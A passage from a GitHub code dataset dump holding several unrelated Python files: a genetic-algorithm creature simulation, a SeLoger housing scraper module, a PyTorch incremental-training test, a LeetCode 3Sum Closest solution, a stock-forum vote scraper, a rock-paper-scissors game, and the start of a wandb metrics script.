by bin_size\n # flatten with round\n seeds = bin_size * np.round(np.divide(X, bin_size))\n bin_seeds = {}\n seedKeys = tuple(map(tuple, seeds))\n \n # bin seeds by freq\n for seed in seedKeys:\n if seed in bin_seeds:\n bin_seeds[seed] += 1\n else:\n bin_seeds[seed] = 1\n\n bin_seeds_old = bin_seeds.copy()\n # get list of seeds to delete\n for key in bin_seeds_old:\n if bin_seeds_old[key] < min_bin_freq:\n del bin_seeds[key]\n # print (bin_seeds)\n return bin_seeds","repo_name":"Seewhy3160/Computer-Vision","sub_path":"Segmentation_method.py","file_name":"Segmentation_method.py","file_ext":"py","file_size_in_byte":13490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4246965404","text":"from cosc343world import Creature, World\nimport numpy as np\nimport time\nimport matplotlib.pyplot as plt\nimport random\nfrom scipy import stats\n\n# You can change this number to specify how many generations creatures are going to evolve over...\nnumGenerations = 100\n\n# You can change this number to specify how many turns in simulation of the world for given generation\nnumTurns = 100\n\n# You can change this number to change the world type. You have two choices - world 1 or 2 (described in\n# the assignment 2 pdf document)\nworldType = 2\n\n# You can change this number to change the world size 24\ngridSize = 48\n\n# You can set this mode to True to have same initial conditions for each simulation in each generation. Good\n# for development, when you want to have some determinism in how the world runs from generatin to generation.\nrepeatableMode = False\n\n# This is a class implementing you creature a.k.a MyCreature. It extends the basic Creature, which provides the\n# basic functionality of the creature for the world simulation. Your job is to implement the AgentFunction\n# that controls creature's behavoiur by producing actions in respons to percepts.\n\naverage_fitness = []\n\nclass MyCreature(Creature):\n\n # Initialisation function. This is where you creature\n # should be initialised with a chromosome in random state. You need to decide the format of your\n # chromosome and the model that it's going to give rise to\n #\n # Input: numPercepts - the size of percepts list that creature will receive in each turn\n # numActions - the size of actions list that creature must create on each turn\n def __init__(self, numPercepts, numActions):\n\n # Place your initialisation code here. Ideally this should set up the creature's chromosome\n # and set it to some random state.\n self.chromosome = np.random.uniform(0, 1, (numActions, numPercepts * 4))\n self.totalPercepts = numPercepts\n self.score = 0\n\n # Do not remove this line at the end. It calls constructors\n # of the parent classes.\n Creature.__init__(self)\n\n # This is the implementation of the agent function that is called on every turn, giving your\n # creature a chance to perform an action. You need to implement a model here, that takes its parameters\n # from the chromosome and it produces a set of actions from provided percepts\n #\n # Input: percepts - a list of percepts\n # numAction - the size of the actions list that needs to be returned\n\n def AgentFunction(self, percepts, numActions):\n # At the moment the actions is a list of random numbers. You need to\n # replace this with some model that maps percepts to actions. The model\n # should be parametrised by the chromosome\n dummy_variables = np.full(4 * self.totalPercepts, 0)\n x = 0\n for p in percepts:\n dummy_variables[x + int(p)] = 1\n x += 4\n actions = np.sum((self.chromosome * dummy_variables), axis=1).tolist()\n\n return actions\n\ndef fitness_fn(turns, energy, isDead):\n \"\"\"Fitness function that scores based on turns and energy.\n\n Provides a score to a creature, with 3 times the amount of turns\n plus the energy, with a bonus for surviving.\n\n Args:\n turns: number of turns a creature survived.\n energy: amount of energy left after simulation.\n isDead: boolean of death state.\n Returns:\n int: score based on function calculation\n \"\"\"\n if (isDead):\n return (3*turns) + energy\n else:\n return (3*turns) + energy + 120\n\ndef selection(population, tf, s):\n \"\"\"Roulette Selection\n\n Normalises all scores to (0,1) giving us a probability to select\n based on.\n\n Args:\n population: creature objects.\n tf: total fitness scores combined.\n s: size of the elite population.\n Returns:\n Object: array of randomly chosen creatures based on the probabilities.\n \"\"\"\n scores = []\n for p in population:\n scores.append(p.score/tf)\n return np.random.choice(population, len(population) - s, scores)\n\ndef tournament_selection(population,s):\n \"\"\"Tournament Selection\n\n Continually selects the top scoring creature in a set of 4.\n\n Args:\n population: creature objects.\n s: size of the elite population.\n Returns:\n Object: array of chosen creatures based on the top scores in small samples.\n \"\"\"\n sample = []\n while (len(sample) < len(population) - s):\n sample.append(max(np.random.choice(population, size=4),key=lambda x: x.score))\n return sample\n\ndef recombine(x, y):\n \"\"\"Recombines parent chromosome\n\n Takes two parent chromosome, and using crossover selects a point within the first\n 9 indexes randomly, and creates a creature with both sides of either parents points.\n\n Args:\n x: parent creature.\n s: parent creature.\n Returns:\n Object: tuple of two arrays based on parent chromosomes.\n \"\"\"\n s = random.randrange(0, 9)\n if np.random.choice([True, False]):\n j = x.chromosome[9:]\n k = y.chromosome[9:]\n else:\n j = y.chromosome[9:]\n k = x.chromosome[9:]\n return ([*x.chromosome[:s], *y.chromosome[s:9],*j], [*y.chromosome[:s], *x.chromosome[s:9], *k])\n\ndef mutate(c, gp, pmut):\n \"\"\"Mutation of chromosome\n\n Based on the probability to mutate, it selects a random gene to change. It selects\n a random other creature to take a new gene from a gene pool.\n\n Args:\n c: creature's chromosme to be changed.\n gp: gene pool to select from.\n pmut: probability of mutation.\n Returns:\n Array(float): changed array with mutation if condition passed, else returned unchanged chromsome.\n \"\"\"\n if(np.random.choice([True, False], p=[pmut, 1-pmut])):\n s = random.randrange(0, len(c))\n new_gene = gp[random.randrange(0, len(gp))]\n newChromosome = c[:s] + [new_gene] + c[s+1:]\n return newChromosome\n else:\n return c\n\n# This function is called after every simulation, passing a list of the old population of creatures, whose fitness\n# you need to evaluate and whose chromosomes you can use to create new creatures.\n#\n# Input: old_population - list of objects of MyCreature type that participated in the last simulation. You\n# can query the state of the creatures by using some built-in methods as well as any methods\n# you decide to add to MyCreature class. The length of the list is the size of\n# the population. You need to generate a new population of the same size. Creatures from\n# old population can be used in the new population - simulation will reset them to starting\n# state.\n#\n# Returns: a list of MyCreature objects of the same length as the old_population.\ndef newPopulation(old_population):\n global numTurns\n global average_fitness\n\n nSurvivors = 0\n avgLifeTime = 0\n fitnessScore = 0\n mutationProb = 0.1\n elitismPercent = 0.05\n tournamentSelection = True\n\n # For each individual you can extract the following information left over\n # from evaluation to let you figure out how well individual did in the\n # simulation of the world: whether the creature is dead or not, how much\n # energy did the creature have a the end of simualation (0 if dead), tick number\n # of creature's death (if dead). You should use this information to build\n # a fitness function, score for how the individual did\n for individual in old_population:\n\n # You can read the creature's energy at the end of the simulation. It will be 0 if creature is dead\n energy = individual.getEnergy()\n\n # This method tells you if the creature died during the simulation\n dead = individual.isDead()\n\n # If the creature is dead, you can get its time of death (in turns)\n if dead:\n timeOfDeath = individual.timeOfDeath()\n avgLifeTime += timeOfDeath\n else:\n nSurvivors += 1\n avgLifeTime += numTurns\n timeOfDeath = numTurns\n individual.score = fitness_fn(timeOfDeath,energy,dead)\n fitnessScore += individual.score\n\n # Here are some statistics, which you may or may not find useful\n avgLifeTime = float(avgLifeTime)/float(len(population))\n avgScore = fitnessScore/len(population)\n average_fitness.append(avgScore)\n print(\"Simulation stats:\")\n print(\" Survivors : %d out of %d\" % (nSurvivors, len(population)))\n print(\" Avg life time : %.1f turns\" % avgLifeTime)\n print(\" Avg fitness score : %.1f\" % avgScore)\n\n # The information gathered above should allow you to build a fitness function that evaluates fitness of\n # every creature. You should show the average fitness, but also use the fitness for selecting parents and\n # creating new creatures.\n\n #Elitism\n old_population.sort(key=lambda x: x.score, reverse=True)\n elite_percent = int(elitismPercent * len(old_population) + (int(elitismPercent * len(old_population))%2))\n elitism = old_population[:elite_percent]\n\n #Selection\n p = tournament_selection(old_population, elite_percent) if tournamentSelection else selection(old_population, fitnessScore, elite_percent)\n p = np.concatenate((elitism,p))\n\n #Crossover\n newChromosomes = []\n for x, y in zip(p[0::2], p[1::2]):\n children = recombine(x, y)\n newChromosomes.append(children[0])\n newChromosomes.append(children[1])\n\n #Mutation\n gene_pool = np.array(newChromosomes)\n gene_pool = gene_pool.reshape(-1, gene_pool.shape[-1])\n for x in range(len(newChromosomes)):\n newChromosomes[x] = mutate(newChromosomes[x], gene_pool, mutationProb)\n old_population[x].chromosome = newChromosomes[x]\n # Based on the fitness you should select individuals for reproduction and create a\n # new population. At the moment this is not done, and the same population with the same number\n # of individuals\n new_population = [*old_population[len(elitism):],*elitism]\n\n return new_population\n\n\nplt.close('all')\nfh = plt.figure()\n\n# Create the world. Representaiton type choses the type of percept representation (there are three types to chose from);\n# gridSize specifies the size of the world, repeatable parameter allows you to run the simulation in exactly same way.\nw = World(worldType=worldType, gridSize=gridSize, repeatable=repeatableMode)\n\n# Get the number of creatures in the world\nnumCreatures = w.maxNumCreatures()\n\n# Get the number of creature percepts\nnumCreaturePercepts = w.numCreaturePercepts()\n\n# Get the number of creature actions\nnumCreatureActions = w.numCreatureActions()\n\n# Create a list of initial creatures - instantiations of the MyCreature class that you implemented\npopulation = list()\nfor i in range(numCreatures):\n c = MyCreature(numCreaturePercepts, numCreatureActions)\n population.append(c)\n\n# Pass the first population to the world simulator\nw.setNextGeneration(population)\n\n# Runs the simulation to evalute the first population\nw.evaluate(numTurns)\n\n# Show visualisation of initial creature behaviour\nw.show_simulation(titleStr='Initial population', speed='normal')\n\nfor i in range(numGenerations):\n print(\"\\nGeneration %d:\" % (i+1))\n\n # Create a new population from the old one\n population = newPopulation(population)\n\n # Pass the new population to the world simulator\n w.setNextGeneration(population)\n\n # Run the simulation again to evalute the next population\n w.evaluate(numTurns)\n\n # Show visualisation of final generation\n if i == numGenerations-1:\n w.show_simulation(titleStr='Final population', speed='normal')\n\n#Plotting with a linear regression.\nxi = np.arange(0,len(average_fitness))\nslope, intercept, r_value, p_value, std_err = stats.linregress(xi,average_fitness)\nline = slope*xi+intercept\nplt.figure(1)\nplt.plot(average_fitness)\nplt.plot(line)\nplt.title(\"Average Fitness for World {} | Grid:{}\".format(worldType, gridSize))\nplt.ylabel(\"Average Fitness\")\nplt.xlabel(\"Generations\")\nplt.show()","repo_name":"Zainrax/AI-learning","sub_path":"COSC343-World/world.py","file_name":"world.py","file_ext":"py","file_size_in_byte":12172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17915498316","text":"from woob.browser.pages import JsonPage, pagination, HTMLPage\nfrom woob.browser.elements import ItemElement, DictElement, method\nfrom woob.browser.filters.json import Dict\nfrom woob.browser.filters.html import XPath\nfrom woob.browser.filters.standard import (CleanText, CleanDecimal, Currency,\n Env, Regexp, Field, BrowserURL)\nfrom woob.capabilities.base import NotAvailable, NotLoaded\nfrom woob.capabilities.housing import (Housing, HousingPhoto, City,\n UTILITIES, ENERGY_CLASS, POSTS_TYPES,\n ADVERT_TYPES)\nfrom woob.capabilities.address import PostalAddress\nfrom woob.tools.capabilities.housing.housing import PricePerMeterFilter\nfrom woob.tools.json import json\nfrom woob.exceptions import ActionNeeded\nfrom .constants import TYPES, RET\nimport codecs\nimport decimal\n\n\nclass ErrorPage(HTMLPage):\n def on_load(self):\n raise ActionNeeded(\"Please resolve the captcha\")\n\n\nclass CitiesPage(JsonPage):\n @method\n class iter_cities(DictElement):\n ignore_duplicate = True\n\n class item(ItemElement):\n klass = City\n\n obj_id = Dict('Params/ci')\n obj_name = Dict('Display')\n\n\nclass SearchResultsPage(HTMLPage):\n def __init__(self, *args, **kwargs):\n HTMLPage.__init__(self, *args, **kwargs)\n json_content = Regexp(CleanText('//script'),\n r\"window\\[\\\"initialData\\\"\\] = JSON.parse\\(\\\"({.*})\\\"\\);window\\[\\\"tags\\\"\\]\")(self.doc)\n json_content = codecs.unicode_escape_decode(json_content)[0]\n json_content = json_content.encode('utf-8', 'surrogatepass').decode('utf-8')\n self.doc = json.loads(json_content)\n\n @pagination\n @method\n class iter_housings(DictElement):\n item_xpath = 'cards/list'\n # Prevent DataError on same ids\n ignore_duplicate = True\n\n def next_page(self):\n page_nb = Dict('navigation/pagination/page')(self)\n max_results = Dict('navigation/counts/count')(self)\n results_per_page = Dict('navigation/pagination/resultsPerPage')(self)\n\n if int(max_results) / int(results_per_page) > int(page_nb):\n return BrowserURL('search', query=Env('query'), page_number=int(page_nb) + 1)(self)\n\n # TODO handle bellesdemeures\n\n class item(ItemElement):\n klass = Housing\n\n def condition(self):\n return (\n Dict('cardType')(self) not in ['advertising', 'ali', 'localExpert']\n and Dict('id', default=False)(self)\n and Dict('classifiedURL', default=False)(self)\n )\n\n obj_id = Dict('id')\n\n def obj_type(self):\n idType = int(Env('query_type')(self))\n type = next(k for k, v in TYPES.items() if v == idType)\n if type == POSTS_TYPES.FURNISHED_RENT:\n # SeLoger does not let us discriminate between furnished and not furnished.\n return POSTS_TYPES.RENT\n return type\n\n def obj_title(self):\n return \"{} - {} - {}\".format(Dict('estateType')(self),\n \" / \".join(Dict('tags')(self)),\n Field('location')(self))\n\n def obj_advert_type(self):\n is_agency = Dict('contact/agencyId', default=False)(self)\n if is_agency:\n return ADVERT_TYPES.PROFESSIONAL\n else:\n return ADVERT_TYPES.PERSONAL\n\n obj_utilities = UTILITIES.EXCLUDED\n\n def obj_photos(self):\n photos = []\n for photo in Dict('photos')(self):\n photos.append(HousingPhoto(photo))\n return photos\n\n def obj_location(self):\n quartier = Dict('districtLabel')(self)\n quartier = quartier if quartier else ''\n ville = Dict('cityLabel')(self)\n ville = ville if ville else ''\n cp = Dict('zipCode')(self)\n cp = cp if cp else ''\n return u'%s %s (%s)' % (quartier, ville, cp)\n\n obj_url = Dict('classifiedURL')\n\n obj_text = Dict('description')\n\n obj_cost = CleanDecimal(Dict('pricing/price', default=NotLoaded), default=NotLoaded)\n obj_currency = Currency(Dict('pricing/price', default=NotLoaded), default=NotLoaded)\n obj_price_per_meter = CleanDecimal(Dict('pricing/squareMeterPrice'), default=PricePerMeterFilter)\n\n\nclass HousingPage(HTMLPage):\n def __init__(self, *args, **kwargs):\n HTMLPage.__init__(self, *args, **kwargs)\n json_content = Regexp(\n CleanText('//script'),\n r\"window\\[\\\"initialData\\\"\\] = JSON.parse\\(\\\"({.*})\\\"\\);\"\n )(self.doc)\n json_content = codecs.unicode_escape_decode(json_content)[0]\n json_content = json_content.encode('utf-8', 'surrogatepass').decode('utf-8')\n self.doc = {\n \"advert\": json.loads(json_content).get('advert', {}).get('mainAdvert', {}),\n \"agency\": json.loads(json_content).get('agency', {})\n }\n\n @method\n class get_housing(ItemElement):\n klass = Housing\n\n def parse(self, el):\n self.agency_doc = el['agency']\n self.el = el['advert']\n\n obj_id = Dict('id')\n\n def obj_house_type(self):\n naturebien = Dict('propertyNatureId')(self)\n try:\n return next(k for k, v in RET.items() if v == naturebien)\n except StopIteration:\n return NotLoaded\n\n def obj_type(self):\n idType = Dict('idTransactionType')(self)\n try:\n type = next(k for k, v in TYPES.items() if v == idType)\n if type == POSTS_TYPES.FURNISHED_RENT:\n # SeLoger does not let us discriminate between furnished and not furnished.\n return POSTS_TYPES.RENT\n return type\n except StopIteration:\n return NotAvailable\n\n def obj_advert_type(self):\n if 'Agences' in self.agency_doc['type']:\n return ADVERT_TYPES.PROFESSIONAL\n else:\n return ADVERT_TYPES.PERSONAL\n\n def obj_photos(self):\n photos = []\n\n for photo in Dict('photoList')(self):\n photos.append(HousingPhoto(photo['fullscreenUrl']))\n\n return photos\n\n obj_title = Dict('title')\n\n def obj_location(self):\n address = Dict('address')(self)\n return u'%s %s (%s)' % (address['neighbourhood'], address['city'],\n address['zipCode'])\n\n def obj_address(self):\n address = Dict('address')(self)\n p = PostalAddress()\n p.street = address['street']\n p.postal_code = address['zipCode']\n p.city = address['city']\n p.full_address = Field('location')(self)\n return p\n\n obj_text = Dict('description')\n\n def obj_cost(self):\n propertyPrice = Dict('propertyPrice')(self)\n return decimal.Decimal(propertyPrice['prix'])\n def obj_currency(self):\n propertyPrice = Dict('propertyPrice')(self)\n return propertyPrice['priceUnit']\n\n obj_price_per_meter = PricePerMeterFilter()\n\n obj_area = CleanDecimal(Dict('surface'))\n def obj_url(self):\n return self.page.url\n def obj_phone(self):\n return self.agency_doc.get('agencyPhoneNumber', {}).get('value',\n NotAvailable)\n\n def obj_utilities(self):\n return NotLoaded # TODO\n\n obj_bedrooms = CleanDecimal(Dict('bedroomCount'))\n obj_rooms = CleanDecimal(Dict('numberOfRooms'))\n\n\nclass HousingJsonPage(JsonPage):\n @method\n class get_housing(ItemElement):\n klass = Housing\n\n def obj_DPE(self):\n DPE = Dict(\"energie\", default=\"\")(self)\n if DPE['status'] > 0:\n return NotAvailable\n else:\n return getattr(ENERGY_CLASS, DPE['lettre'], NotAvailable)\n\n def obj_GES(self):\n GES = Dict(\"ges\", default=\"\")(self)\n if GES['status'] > 0:\n return NotAvailable\n else:\n return getattr(ENERGY_CLASS, GES['lettre'], NotAvailable)\n\n def obj_details(self):\n details = {}\n\n for c in Dict('categories')(self):\n if c['criteria']:\n details[c['name']] = ' / '.join([_['value'] for _ in c['criteria']])\n\n for _, c in Dict('infos_acquereur')(self).items():\n for key, value in c.items():\n details[key] = value\n\n return details\n","repo_name":"Phyks/Flatisfy","sub_path":"modules/seloger/pages.py","file_name":"pages.py","file_ext":"py","file_size_in_byte":9017,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"60"} +{"seq_id":"6507789357","text":"import torch\nimport torch.nn.functional as F\n\nfrom mslmn import MultiScaleLMN\nfrom clockwork_lmn.incremental_train_new import IncrementalTrainingCallback\nfrom cannon.tasks import Dataset\nfrom cannon.utils import cuda_move\nfrom cannon.torch_trainer import build_default_logger\nfrom clockwork_lmn.container import ItemClassifier\n\n\nclass DummyData(Dataset):\n def __init__(self, x_shape, y_shape):\n \"\"\" Dataset with random data \"\"\"\n super().__init__()\n self.x_shape = x_shape\n self.y_shape = y_shape\n\n def iter(self):\n x = cuda_move(torch.randn(*self.x_shape))\n y = cuda_move(torch.randn(*self.y_shape))\n\n t_x = torch.tensor([self.x_shape[0] for _ in range(x.shape[1])])\n t_y = torch.tensor([self.y_shape[0] for _ in range(x.shape[1])])\n yield x, (y, t_x, t_y)\n\n def loss_score(self, batch, y_pred):\n return F.mse_loss(y_pred, batch[1])\n\n\nclass DummyTrainer:\n def __init__(self, model):\n self.model = model\n self.logger = build_default_logger(log_dir, debug=True)\n\n def compute_metrics(self, data):\n return -1, -1\n\n\nif __name__ == '__main__':\n ms = 13\n params = {'pretrain_every': 2, 'memory_size': ms}\n log_dir = './logs/debug/'\n\n x_shape = (65, 32, 11)\n y_shape = x_shape\n data = DummyData(x_shape, y_shape)\n\n rnn = MultiScaleLMN(x_shape[2], 5, ms, num_modules=1, max_modules=5)\n cb = IncrementalTrainingCallback(params, [rnn], data, data, data, log_dir)\n\n model = cuda_move(ItemClassifier(rnn, ms*5, 7))\n trainer = DummyTrainer(model)\n\n for x, y in data.iter():\n break\n\n y_old = model(x)\n cb.pretrain_module(trainer)\n y_new = model(x)\n assert ((y_old - y_new) ** 2).sum() == 0\n\n cb.pretrain_module(trainer)\n m_prev = rnn.init_hidden(x.shape[1])\n y_new = model(x)\n assert ((y_old - y_new) ** 2).sum() == 0\n\n print(\"Done\")\n","repo_name":"AntonioCarta/cannon","sub_path":"tests/test_mslmn_incremental_training.py","file_name":"test_mslmn_incremental_training.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"} +{"seq_id":"17396204574","text":"from typing import List\n\n\nclass Solution:\n def threeSumClosest(self, nums: List[int], target: int) -> int:\n nums.sort()\n answer = float('inf')\n\n for i in range(len(nums) - 2):\n left, right = i + 1, len(nums) - 1\n\n while left < right:\n tmp = nums[i] + nums[left] + nums[right]\n if abs(tmp - target) < abs(answer - target):\n answer = tmp\n\n if tmp > target:\n right -= 1\n elif tmp < target:\n left += 1\n else:\n return target\n return answer\n","repo_name":"thomashirtz/leetcode","sub_path":"solutions/16-3sum-closest.py","file_name":"16-3sum-closest.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"14038901659","text":"import datetime\nimport requests\nimport pandas as pd\nimport akshare as ak\nfrom joblib import Parallel, delayed\n\nimport sys\nsys.path.append('.')\nimport os\nos.chdir(\"/root/Quant\")\nfrom collectors.libs.utils import format_code\n\n\ndef crawl_stock(code: str):\n today = datetime.datetime.today().date()\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15\",\n \"Referer\": \"http://guba.eastmoney.com/\",\n \"Host\": \"gubacdn.dfcfw.com\"\n }\n code = format_code(code, '{market}{code}')\n url = f\"http://gubacdn.dfcfw.com/LookUpAndDown/{code}.js\"\n res = requests.get(url, headers=headers)\n res.raise_for_status()\n res = eval(res.text.strip('var LookUpAndDown=').replace('null', f'\"{today}\"'))\n data = pd.Series(res['Data'])\n data['code'] = code\n return data\n\n# benchmark: 36s\ntoday = datetime.datetime.today().strftime('%Y%m%d')\ncodes = ak.stock_zh_a_spot_em()['代码'].to_list()\ndatas = Parallel(n_jobs=-1, backend='threading')(delayed(crawl_stock)(code) for code in codes)\ndata = pd.concat(datas, axis=1).T\ndata = data.set_index('code').drop('Date', axis=1)\ndata = data.astype({\"TapeZ\": \"float32\", \"TapeD\": \"float32\", \"TapeType\": \"uint8\"})\ndata = pd.concat([data], keys=[pd.to_datetime(today)], names=['datetime', 'instrument'])\ndata.to_parquet(f'./data/derivative_indicators/guba_votes/{today}.parquet')","repo_name":"ppoak/Quant","sub_path":"scripts/guba_votes.py","file_name":"guba_votes.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"40489825143","text":"start = input(\"What do you choose? Rock, Paper or Scissor\\n\")\r\nimport random\r\ncomputer = random.randint(0,2)\r\nif (computer == 0):\r\n computer = \"Rock\"\r\nelif(computer == 1):\r\n computer = \"Paper\"\r\nelse:\r\n computer = \"Scissors\"\r\nprint(computer)\r\nif (start == computer):\r\n print(\"Draw\")\r\nelif(start == \"Rock\" and computer == \"Paper\"):\r\n print(\"You lose\")\r\nelif(start == \"Rock\" and computer == \"Scissors\"):\r\n print(\"You win\")\r\nelif(start == \"Paper\" and computer == \"Scissors\"):\r\n print(\"You lose\")\r\nelif(start == \"Paper\" and computer == \"Rock\"):\r\n print(\"You win\")\r\nelif(start == \"Scissors\" and computer == \"Paper\"):\r\n print(\"You win\")\r\nelif(start == \"Scissors\" and computer == \"Rock\"):\r\n print(\"You lose\")\r\nelse:\r\n print(\"You made a mistake\")\r\n","repo_name":"stepanovskyf/100-days-of-code","sub_path":"RockPaperScissors.py","file_name":"RockPaperScissors.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21387766526","text":"# %%\n\n# %% [markdown]\n# # Can we read model 1 V-J gene use count matrix PCs to see which V genes matter?\n\n# %%\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# %matplotlib inline\nimport seaborn as sns\nimport joblib\nimport gc\n\nfrom malid.datamodels import GeneLocus, TargetObsColumnEnum\nfrom malid.trained_model_wrappers import RepertoireClassifier\nfrom malid import helpers, io\n\n\n# %%\n\n# %%\ndef interpret(\n gene_locus: GeneLocus, target_obs_column: TargetObsColumnEnum, fold_id: int\n):\n clf_rep = RepertoireClassifier(\n fold_id=fold_id,\n model_name=\"lasso_multiclass\",\n fold_label_train=\"train_smaller\",\n gene_locus=gene_locus,\n target_obs_column=target_obs_column,\n )\n train_count_matrix_columns = joblib.load(\n clf_rep.models_base_dir\n / f\"{clf_rep.fold_label_train}_model.{clf_rep.fold_id}.{clf_rep.fold_label_train}.specimen_vj_gene_counts_columns_joblib\"\n )\n\n isotypes = helpers.isotype_groups_kept[gene_locus]\n # # sanity check:\n # isotypes, clf_rep.steps[0][\n # 1\n # ].named_transformers_.keys(), train_count_matrix_columns.keys()\n\n for isotype in isotypes:\n print(isotype)\n pca_transformer = (\n clf_rep.steps[0][1]\n .named_transformers_[f\"log1p-scale-PCA_{isotype}\"]\n .steps[-1][1]\n )\n\n # PCs x VJ pairs\n components_df = pd.DataFrame(\n pca_transformer.components_, columns=train_count_matrix_columns[isotype]\n )\n # display(components_df)\n\n # most important features for first PC component\n n_top = 10\n # display(components_df.iloc[0].abs().sort_values(ascending=False).head(n=n_top))\n\n # V genes in there\n print(\n components_df.iloc[0]\n .abs()\n .sort_values(ascending=False)\n .head(n=n_top)\n .index.str.split(\"|\")\n .str[0]\n .unique()\n )\n\n # second PC coponent, same thing:\n print(\n components_df.iloc[1]\n .abs()\n .sort_values(ascending=False)\n .head(n=n_top)\n .index.str.split(\"|\")\n .str[0]\n .unique()\n )\n\n print()\n print(\"*\" * 60)\n print()\n\n adata = io.load_fold_embeddings(\n fold_id=fold_id,\n fold_label=\"train_smaller\",\n gene_locus=gene_locus,\n target_obs_column=target_obs_column,\n )\n featurized = clf_rep.featurize(adata)\n\n # or use clf_rep._inner[:-1] if we want scaling added:\n pca_transformer = clf_rep.steps[0][1]\n transformed = pd.DataFrame(\n pca_transformer.transform(featurized.X),\n index=featurized.X.index,\n columns=pca_transformer.get_feature_names_out(),\n )\n # Show model 1's top 2 PCs of V/J gene use counts for train fold specimens\n for isotype in helpers.isotype_groups_kept[gene_locus]:\n plot_df = pd.concat(\n [\n transformed[\n [\n f\"log1p-scale-PCA_{isotype}__pca0\",\n f\"log1p-scale-PCA_{isotype}__pca1\",\n ]\n ].rename(\n columns={\n f\"log1p-scale-PCA_{isotype}__pca0\": \"PC1\",\n f\"log1p-scale-PCA_{isotype}__pca1\": \"PC2\",\n }\n ),\n featurized.metadata[[\"disease\", \"study_name\"]],\n ],\n axis=1,\n )\n plot_df[\"Disease and batch\"] = (\n plot_df[\"disease\"].astype(str) + \" - \" + plot_df[\"study_name\"].astype(str)\n )\n fig, ax = plt.subplots()\n sns.scatterplot(\n data=plot_df, x=\"PC1\", y=\"PC2\", hue=\"Disease and batch\", ax=ax, alpha=0.7\n )\n sns.move_legend(ax, \"upper left\", bbox_to_anchor=(1, 1))\n sns.despine(ax=ax)\n plt.title(f\"{isotype} V-J gene use count PCA\")\n\n\n# %%\n\n# %%\n# also try TargetObsColumnEnum.covid_vs_healthy\ninterpret(\n gene_locus=GeneLocus.BCR, target_obs_column=TargetObsColumnEnum.disease, fold_id=-1\n)\n\n# %%\nio.clear_cached_fold_embeddings()\ngc.collect()\n\n# %%\n\n# %%\ninterpret(\n gene_locus=GeneLocus.TCR, target_obs_column=TargetObsColumnEnum.disease, fold_id=-1\n)\n\n# %%\nio.clear_cached_fold_embeddings()\ngc.collect()\n\n# %%\n\n# %%\n","repo_name":"maximz/malid","sub_path":"notebooks_src/interpret_model1.py","file_name":"interpret_model1.py","file_ext":"py","file_size_in_byte":4322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"36137647159","text":"# https://codeforces.com/gym/450068/problem/B\n\nfrom bisect import bisect_left\n\ndef main():\n\tt = int(input())\n\n\tfor _ in range(t):\n\t\tn, q = map(int, input().split())\n\t\tcandies = list(map(int, input().split()))\n\t\tcandies.sort(reverse=True)\n\n\t\tfor i in range(1, n):\n\t\t\tcandies[i] += candies[i - 1]\n\n\t\tfor _ in range(q):\n\t\t\tcurr_query = int(input())\n\t\t\tmin_candies = bisect_left(candies, curr_query)\n\t\t\tprint(min_candies + 1 if min_candies != n else -1)\n\nmain()\n\n","repo_name":"Son-OfAnton/Competitive-Programming","sub_path":"Contest/Contest_22/eatingQueries.py","file_name":"eatingQueries.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"42776392234","text":"\"\"\"\nExtract information logged to wandb in order to plot/analyze.\nWandB help: https://docs.wandb.ai/guides/track/public-api-guide\n\"\"\"\nimport os\nfrom functools import partial\nfrom multiprocessing import Pool\n\nimport pandas as pd\nimport wandb\n\n# Fix entity\nENTITY = \"l0-coin\"\nPROJECT = \"kodak\"\n\n\ndef get_metrics(filters, metric_keys, config_keys=None, x_axis=\"_step\"):\n \"\"\"\n Extract metric_keys from wandb runs given filters. Keep config_keys for reference\n Args:\n filters: Example {\"$and\": [{\"config.run_group\": \"control\"},\n {\"config.dual_optim\": \"SGD\"}]}\n metric_keys: Example [\"val/top1\", \"val/macs\", \"val/params\"]\n config_keys: config elements to return: [\"seed\", \"model_type\"]\n x_axis: one of \"_step\" or \"epoch\"\n Returns:\n DataFrame with metrics, config list\n \"\"\"\n api = wandb.Api(overrides={\"entity\": ENTITY, \"project\": PROJECT}, timeout=30)\n runs = api.runs(path=ENTITY + \"/\" + PROJECT, filters=filters, order=\"-created_at\")\n print(\"Number of runs:\", len(runs))\n\n all_frames = []\n for run in runs:\n # samples param: without replacement, if too large returns all.\n metrics = run.history(samples=10_000, keys=metric_keys, x_axis=x_axis)\n\n # Do not keep the whole config, only config_keys if provided by user\n filtered_config = {\n key: run.config[key] for key in config_keys if key in run.config\n }\n\n for key, val in filtered_config.items():\n metrics.insert(0, key, str(val))\n\n all_frames.append(metrics)\n\n return pd.concat(all_frames)\n\n\ndef main(image_id, final_bpp, baseline_hidden_dims, foldername):\n \"\"\"\n Get various metrics across baseline, mp and loonie runs for the provided\n image_id and final bpp.\n \"\"\"\n filters = {\n \"$and\": [\n {\"config.train.image_id\": image_id},\n {\"state\": \"finished\"},\n {\n \"$or\": [\n {\n \"$and\": [\n {\"config.wandb.run_group\": \"all_gated\"},\n {\"config.train.target_bpp\": final_bpp},\n ]\n },\n {\n \"$and\": [\n {\"config.wandb.run_group\": \"baseline\"},\n {\"config.model.hidden_dims\": baseline_hidden_dims},\n ]\n },\n {\n \"$and\": [\n {\"config.wandb.run_group\": \"new_mp\"},\n {\"config.train.target_bpp\": final_bpp},\n ]\n },\n ]\n },\n ]\n }\n metric_keys = [\n \"compression/best_psnr\",\n 